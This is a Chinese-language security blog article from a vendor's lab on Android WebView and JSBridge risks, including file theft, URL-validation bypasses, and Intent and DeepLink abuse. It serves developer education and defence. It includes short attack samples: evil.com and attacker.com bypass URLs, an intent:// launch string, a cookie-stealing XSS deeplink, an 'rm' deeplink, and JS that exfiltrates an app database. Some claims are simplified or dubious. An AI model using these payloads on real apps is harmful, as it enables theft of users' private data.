WebView安全实现(一)
本文作者:杉木@涂鸦智能安全实验室
Webview核心机制
Webview:承载 Web 内容的容器
WebView 是移动端(Android/iOS)提供的系统组件,用于在 App 内嵌入并渲染网页(HTML/CSS/JavaScript)
其核心功能包括:
- 资源加载:通过
loadUrl()
加载远程或本地资源(如 HTML/JS)。 - JS 交互:通过
@JavascriptInterface
注解暴露原生 API。 - 隔离性:JavaScript 运行在独立的 JS Context 中,无法直接访问原生系统功能(如相机、文件系统)
- 身份验证:依赖 域名(Origin)、子应用 ID(AppID) 和 能力令牌(Capability) 控制权限(如图)。
JSBridge:连接 Web 与 Native 的通信桥梁
JSBridge 是一种基于协议或注入 API 的通信机制,通过 WebView 的接口实现 JavaScript 与原生代码的双向调用;
JSBridge 如何依赖 WebView 实现通信?
- WebView 提供通信基础
- API 注入(主流方式):WebView 通过接口将原生对象注入到 JS Context 中(如 Android 的
addJavascriptInterface
,iOS 的WKScriptMessageHandler
),使 JavaScript 可直接调用原生方法。 - URL Scheme 拦截:WebView 拦截 JavaScript 发起的自定义协议请求(如
jsbridge://method?params
),解析后执行原生逻辑。
- JSBridge 封装通信逻辑
- 标准化协议:定义数据格式(如 JSON-RPC)和回调机制,简化调用流程。
- 跨平台兼容:封装 Android/iOS 的 WebView 差异,提供统一接口(如开源库
WebViewJavascriptBridge
)
系统和超级应用和子应用
了解完基础的概念,这里介绍一下系统框架,如图所示;
先描述一下图的内容,系统也就是整个图;超级应用是整个APP;子应用是包含但不仅限于WebView内容;
从下往上介绍了,嵌⼊的浏览器实例(也就是WebView)为⼦应⽤提供了⼀个隔离的环境;此类实例通常包含⼀个⾃定义的 worker 来加载和执⾏预定义的⼦应⽤代码。然后可以执行对应的API 以访问对各种资源,如⽤户数据、⽹络资料等,一般来说子应用之间的数据也是隔离的,但是这些资源也可以是当前APP的,当然无法是其他APP的,因为系统就限制了APP私有目录之间的访问。
然后web-to- mobile bridge其实也就是JSBridge,将⼦应⽤代码与原⽣ Java 代码连接起来,也就是前面介绍的内容了;所有 API 调⽤都封装成⼀个通过“addJavaScriptInterface”注册的调度⽅法发送到APP侧的消息。APP解析接收到的消息,找到相应的 API,检查权限,如果检查通过,则调⽤。
然后是上面部分内容,APP根据深链中的子应⽤ ID 找到⼦应⽤或者其他的方式,如路由、扫码等,但本质还是类似深链;从APP自己的应用市场下载⼀个js包。然后这里的子应用是根据实际的业务场景来取决,官方的会访问APP服务器,三方的会访问三方服务器、广告商等内容,而且也可以请求APP提供的API;
- 当从⼦应⽤或第三⽅服务器获取⽹⻚内容并在 WebView 实例中渲染时,APP会检查获取的内容的身份(loadURL时要检验域名);
- 当 WebView 实例访问APP提供的 API 时,APP要根据子应用权限来验证是否具有调用相关API的权限;
WeView使用
这里以android为例,参考官方文档
WebView | API 参考 | Android 开发者
在 WebView 中构建 Web 应用 | Android Developers
先在xml中设置布局配置
<WebViewandroid:id="@+id/webview"android:layout_width="match_parent"android:layout_height="match_parent"/>
在代码初始化和加载网页
WebView webView = findViewById(R.id.webview);
// 启用基础功能(如JS支持)
WebSettings settings = webView.getSettings();
settings.setJavaScriptEnabled(true); // 加载远程URL
webView.loadUrl("https://example.com");
// 或加载本地HTML(assets目录)
webView.loadUrl("file:///android_asset/local.html"); [2,7](@ref)
网络权限声明
<uses-permission android:name="android.permission.INTERNET" />
WebView事件监听处理
webView.setWebViewClient(new WebViewClient() {@Overridepublic void onPageStarted(WebView view, String url, Bitmap favicon) {// 显示进度条}@Overridepublic void onPageFinished(WebView view, String url) {// 隐藏进度条}@Overridepublic boolean shouldOverrideUrlLoading(WebView view, String url) {// 拦截链接点击(返回false由WebView处理)return false;}
});
WebView和JS的交互
类型 | 调用方式 | 关键安全风险 | 最佳实践 |
---|---|---|---|
Android调用JS | loadUrl() | 无 | 4.4以下设备兼容方案 |
evaluateJavascript() | 无 | 4.4+设备首选(异步高效) | |
JS调用Android | addJavascriptInterface() | 4.2以下未注解方法可被恶意调用 | 所有方法添加 @JavascriptInterface |
shouldOverrideUrlLoading() | 协议解析缺陷可能导致XSS | 严格校验Scheme和参数(如白名单校验jsbridge:// ) | |
onJsPrompt() | 未过滤输入可能导致注入 | 过滤特殊字符(如< , > ) |
这里列举的关键安全风险是根据应用的开发人员角度来解析,或者说是google开发平台提供的针对开发人员安全开发的要求规范;
拿loadUrl()函数来举例,上面关键安全风险是没有,google开发者平台上WebView:不安全的 URI 加载 | Security | Android Developers提到“处理字符串 URI 时,请务必将字符串解析为 URI 并验证 scheme 和主机”,简单说技术风险可规避,如安全使用白名单,代码侧通过安全解析传递的URI后再进行请求;但若是业务上需要把URI的配置交给用户(如一些toB的业务上),那这种情况要如何处理?后续会通过流程的角度来解析这类风险。
WebView常见风险
这里引用google官方对于WebView的相关风险以及跟WebView实现的场景可能相关的风险;
WebView - 不安全的文件包含 | Security | Android Developers
WebView – Native bridges | Security | Android Developers
WebView:不安全的 URI 加载 | App quality | Android Developers
Cross-app scripting | Security | Android Developers
压缩路径遍历 | App quality | Android Developers
直接贴大佬整理好的WebView漏洞,而且大佬对于漏洞的复现测试非常详细,详细查看[原创]Android APP漏洞之战(13)——WebView漏洞详解-Android安全-看雪-安全社区|安全招聘|kanxue.com
我这里就简单总结一下;
一、私有文件窃取漏洞
1. 跨域文件读取(应用克隆攻击)
- 触发条件:
setAllowFileAccess(true)
+setAllowFileAccessFromFileURLs(true)
或setAllowUniversalAccessFromFileURLs(true)
- 利用方式:恶意JS通过AJAX读取私有文件(如
file:///data/data/app_package/shared_prefs/config.xml
)
这部分具体也可以看我多年之前的漏洞分析;Android平台WebView控件存在跨域访问高危漏洞_webview组件跨域访问风险-CSDN博客
2. 移花接木(软链接劫持)
- 触发条件:仅开启
setAllowFileAccess(true)
(默认开启) - 利用方式:
- 诱导WebView访问攻击者可控的网页(如
http://evil.com/mal.html
); - 在网页加载延迟期间,将文件替换为指向私有文件的软链接;
- WebView读取被替换的软链接,泄露私有文件内容。
- 诱导WebView访问攻击者可控的网页(如
这个漏洞复现参考Android安全检测-WebView File域同源策略绕过漏洞_webview file同源策略绕过漏洞-CSDN博客,在Android 7.0以上已修复;
3. 含沙射影(Cookies污染)
- 触发条件:
setAllowFileAccess(true)
+ WebView可加载任意URL - 利用方式:
- 通过恶意JS在Cookies中写入Payload;
- 构造软链接指向目标Cookies文件;
- 诱导WebView加载被污染的Cookies文件执行Payload。
这部分的具体漏洞利用可以参考Android-Webview中的漏洞利用总结 | CTF导航;
官方提到的修复方案修复跨应用脚本漏洞 - Google帮助
二、URL校验绕过漏洞
1. 校验逻辑缺陷
- 大小写绕过:校验
scheme
时忽略大小写(如FiLe://
替代file://
)。 - 域名闭合缺失:
endWith("trust.com")
可被eviltrust.com
绕过。 - 特殊字符注入:
- 利用
\
替换/
(如http:/\evil.com
),低版本WebView可解析; - 使用
@
符号绕过(如http://trust.com@evil.com
)。
- 利用
2. 协议混淆攻击
- JavaScript协议绕过:未校验
scheme
时,通过javascript:alert(1)
执行任意代码。 - Intent Scheme注入:未过滤
intent://
协议,导致任意组件启动(如intent://#Intent;component=com.victim/.SecretActivity;end
)。
3. 服务端跳转滥用
- 白名单域名跳转:若白名单内服务端存在开放重定向漏洞,攻击者可构造
http://trust.com/redirect?url=http://evil.com
绕过校验。
4. 竞争条件漏洞
- 利用跳转时间差:
- JS控制WebView跳转至白名单域名;
- 在页面未完全销毁前,快速调用特权接口(如
getToken()
); - 校验逻辑误判当前URL为可信域名,窃取敏感信息。
5. 白名单内域名过期
查看白名单内域名过期使用情况,如遇到白名单内域名过期,如解析已经失效或者提示需要购买等情况,攻击者可以购买对应域名后进行攻击行为;
这种属逻辑类型的问题很多都是根据实际的情况来分析,各种场景的情况都有,这里可以参考进行分析 3.URL配置漏洞;
Android WebView URL检查绕过 | m4bln
三、Intent + WebView 漏洞
1. 导出组件恶意界面加载
- 漏洞原理当WebView所在的Activity组件被导出(
android:exported=true
)时,攻击者通过Intent传递恶意URL,诱导WebView加载钓鱼页面或窃取敏感数据。 - 攻击步骤:
// 恶意应用构造攻击Intent
Intent exploit = new Intent();
exploit.setClassName("com.victim.app", "com.victim.app.WebActivity");
exploit.setData(Uri.parse("http://attacker.com/malicious.html"));
startActivity(exploit);
- 实际危害窃取WebView存储的密码(明文保存在
webview.db
)、Cookie、本地文件等。
2. Intent重定向导致LaunchAnyWhere
-
漏洞原理可导出的Activity组件未校验Intent参数,导致攻击者构造重定向链访问私有组件:
// 正常导出组件 public class WebViewActivity extends Activity {protected void onCreate(Bundle savedInstanceState) {// 未校验Intent extrasIntent privateIntent = getIntent().getParcelableExtra("redirect");startActivity(privateIntent); // 启动私有组件} }
-
利用链:
-
防护方案:
- 禁止导出非必要组件
- 校验
Intent.getAction()
和Intent.getData()
很多应用为了APP于APP之间的联动都有可被外部调用的Activity,而有些Activity可以传递Intent参数作为业务参数进行相关业务处理,当这些参数没有处理好的时候很容易出现相关问题,这里列出来的只是Intent + WebView 可能导致的问题;
四、DeepLink + WebView 漏洞
1. 任意代码执行
-
触发条件DeepLink未校验调用方包名,攻击者伪造合法应用包名:
<!-- 恶意App的AndroidManifest.xml --> <manifest package="com.target.app"> <!-- 伪装目标包名 --><activity android:name=".EvilActivity"><intent-filter><data android:scheme="victim" /></intent-filter></activity> </manifest>
-
执行路径:
victim://deeplink?cmd=rm+/data
→ 触发WebView执行系统命令
2. XSS注入漏洞
-
攻击模式:
<!-- 恶意DeepLink载荷 --> <a href="victim://load?html=<script>alert(document.cookie)</script>">点击领取优惠券 </
-
利用场景:通过
WebView.loadDataWithBaseURL()
加载未消毒的HTML
3. 组合漏洞利用
-
典型攻击链:
- DeepLink协议未校验 → 注入恶意JS
- JS调用隐藏API → 读取私有文件
- 符号链接绕过 → 窃取
/data/data/[app]/databases
-
实际案例:
// 恶意JS代码 function stealData() {fetch('file:///data/data/com.victim/db').then(data => exfiltrate(data)) }
4. loadDataWithBaseURL漏洞
-
高危场景:
// 攻击者控制baseURL和data参数 webView.loadDataWithBaseURL("https://trusted.com", "<script>malicious()</script>", "text/html", "UTF-8", null );
- 结果:在
trusted.com
域下执行任意JS
- 结果:在
deeplink+webview的攻击场景参考Android中的特殊攻击面(二)——危险的deeplink
限于篇幅,把安全方案设计放到下一篇讲。
参考
https://www.kanxue.com/chm.htm?id=18037
https://www.kanxue.com/chm.htm?id=19271
Android WebView URL检查绕过 | m4bln
Android-Webview中的漏洞利用总结 | CTF导航
Android安全检测-WebView File域同源策略绕过漏洞_webview file同源策略绕过漏洞-CSDN博客
sec22-zhang-lei.pdf
bbs.kanxue.com/article-14155.htm
漏洞悬赏计划:涂鸦智能安全响应中心(https://src.tuya.com)欢迎白帽子来探索。